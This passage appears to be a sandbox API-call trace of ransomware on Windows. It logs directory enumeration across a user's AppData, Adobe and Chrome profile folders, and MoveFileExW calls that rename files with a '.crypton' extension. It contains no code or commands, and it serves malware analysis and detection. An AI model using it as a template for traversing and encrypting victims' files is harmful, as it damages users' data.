ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0189.072] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee0e4480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee0e4480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0189.078] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee0e4480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee0e4480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0189.084] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xee10a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee10a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0189.126] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.crypton"), dwFlags=0x2) returned 1 [0189.148] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee1a2b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee1a2b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0189.153] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee1a2b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee1a2b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0189.158] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="Color", cAlternateFileName="")) returned 0xffffffff [0189.164] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee1c8cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee1c8cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0189.168] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee1c8cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee1c8cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0189.173] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee1c8cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee1c8cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0189.187] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee1eee20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee1eee20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0189.193] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee214f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee214f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.198] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee214f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee214f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549950 [0189.203] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee214f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee214f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549990 [0189.209] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee23b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee23b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0189.214] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee23b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee23b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0189.219] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee23b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee23b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.225] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee261240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee261240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.230] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee261240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee261240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.236] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee261240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee261240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0189.291] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat.crypton"), dwFlags=0x2) returned 1 [0189.305] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee2f97c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee2f97c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0189.311] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee31f920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee31f920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0189.321] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee31f920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee31f920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0189.328] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee345a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee345a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0189.334] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee36bbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee36bbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0189.339] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee36bbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee36bbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.340] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.crypton"), dwFlags=0x2) returned 1 [0189.346] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee36bbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee36bbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0189.353] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee391d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee391d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.358] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee391d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee391d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.359] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log.crypton"), dwFlags=0x2) returned 1 [0189.366] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee3b7ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee3b7ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.368] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.crypton"), dwFlags=0x2) returned 1 [0189.375] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee3b7ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee3b7ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.379] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.crypton"), dwFlags=0x2) returned 1 [0189.385] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee3de000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee3de000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549910 [0189.397] GetFileType (hFile=0x218) returned 0x1 [0189.402] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee404160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee404160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549950 [0189.409] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee404160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee404160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549990 [0189.413] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js 